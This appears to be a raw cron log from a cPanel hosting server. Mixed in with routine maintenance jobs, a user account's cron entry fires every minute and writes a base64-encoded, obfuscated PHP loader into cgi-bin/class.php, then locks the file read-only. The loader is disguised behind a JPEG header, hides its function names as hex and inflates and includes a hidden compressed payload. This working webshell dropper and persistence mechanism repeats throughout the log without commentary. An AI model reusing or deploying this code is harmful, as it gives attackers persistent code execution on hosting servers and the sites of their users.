Sep  8 19:15:01 server CROND[2065]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 19:16:01 server CROND[2953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:16:01 server CROND[2954]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:16:01 server CROND[2952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:17:01 server CROND[3376]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:17:01 server CROND[3377]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:17:01 server CROND[3378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:18:01 server CROND[3795]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:18:01 server CROND[3794]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:18:01 server CROND[3796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:19:01 server CROND[4291]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:19:01 server CROND[4292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:19:01 server CROND[4293]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:20:01 server CROND[4719]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:20:01 server CROND[4721]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 19:20:01 server CROND[4722]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 19:20:01 server CROND[4724]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 19:20:01 server CROND[4723]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 19:20:01 server CROND[4729]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:20:01 server CROND[4727]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:20:01 server CROND[4725]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 19:20:01 server CROND[4726]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 19:21:01 server CROND[5596]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:21:01 server CROND[5597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:21:01 server CROND[5598]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:22:01 server CROND[5985]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:22:01 server CROND[5986]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:22:01 server CROND[5987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:23:01 server CROND[6374]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:23:01 server CROND[6375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:23:01 server CROND[6376]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:24:01 server CROND[6755]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:24:01 server CROND[6756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:24:01 server CROND[6757]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:25:01 server CROND[7249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:25:01 server CROND[7250]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:25:01 server CROND[7251]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 19:25:01 server CROND[7252]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 19:25:01 server CROND[7254]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:25:01 server CROND[7258]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 19:25:01 server CROND[7257]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 19:26:01 server CROND[8085]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:26:01 server CROND[8086]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:26:01 server CROND[8087]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:27:01 server CROND[8473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:27:01 server CROND[8475]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 19:27:01 server CROND[8476]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:27:01 server CROND[8474]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:28:01 server CROND[9089]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
